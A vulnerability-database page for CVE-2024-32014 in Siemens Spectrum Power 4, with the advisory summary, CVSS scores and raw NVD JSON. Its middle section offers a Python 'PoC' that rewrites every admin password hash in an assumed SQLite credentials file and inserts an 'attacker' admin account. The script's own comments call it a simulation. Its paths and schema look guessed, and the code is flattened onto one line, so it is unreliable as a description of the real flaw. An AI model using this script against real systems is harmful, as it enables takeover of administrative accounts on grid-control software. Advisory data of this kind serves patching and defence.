Security Vulnerability Report
中文
CVE-2024-32014 CVSS 4.7 MEDIUM

CVE-2024-32014

Published: 2025-11-11 21:15:36
Last Modified: 2026-04-15 00:35:42

Description

A vulnerability has been identified in Spectrum Power 4 (All versions < V4.70 SP12 Update 2). The affected application is vulnerable to alter the local database which contains the application credentials. This allows an attacker to gain administrative application privileges.

CVSS Details

CVSS Score
4.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Siemens Spectrum Power 4 < V4.70 SP12 Update 2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2024-32014 PoC - Local Database Tampering # Target: Siemens Spectrum Power 4 (versions < V4.70 SP12 Update 2) # Note: This PoC is for educational and authorized testing purposes only import os import sqlite3 import shutil from pathlib import Path def exploit_spectrum_power_db(target_path): """ Simulates the database tampering vulnerability in Spectrum Power 4 """ db_path = os.path.join(target_path, 'config', 'credentials.db') if not os.path.exists(db_path): print(f"[-] Database not found at {db_path}") return False # Create backup of original database backup_path = db_path + '.bak' shutil.copy2(db_path, backup_path) print(f"[+] Created backup at {backup_path}") try: # Connect to the database conn = sqlite3.connect(db_path) cursor = conn.cursor() # Check current admin users cursor.execute("SELECT username, role FROM users WHERE role = 'admin'") admins = cursor.fetchall() print(f"[*] Current admin users: {admins}") # Exploit: Modify admin password or create new admin user # In real attack, this would involve SQL injection or direct DB modification cursor.execute("UPDATE users SET password_hash = 'admin_hash_replacement' WHERE role = 'admin'") # Alternative: Insert new admin user cursor.execute("INSERT INTO users (username, password_hash, role) VALUES ('attacker', 'malicious_hash', 'admin')") conn.commit() print("[+] Database modified successfully - admin credentials altered") print("[+] Attacker can now login with admin privileges") conn.close() return True except Exception as e: print(f"[-] Error during exploitation: {e}") # Restore backup shutil.copy2(backup_path, db_path) return False if __name__ == "__main__": print("CVE-2024-32014 - Spectrum Power 4 Database Tampering PoC") print("=" * 60) target = input("Enter Spectrum Power 4 installation path: ") exploit_spectrum_power_db(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-32014", "sourceIdentifier": "[email protected]", "published": "2025-11-11T21:15:35.797", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been identified in Spectrum Power 4 (All versions < V4.70 SP12 Update 2). The affected application is vulnerable to alter the local database which contains the application credentials. This allows an attacker to gain administrative application privileges."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.6, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.0, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-732"}]}], "references": [{"url": "https://cert-portal.siemens.com/productcert/html/ssa-339694.html", "source": "[email protected]"}]}}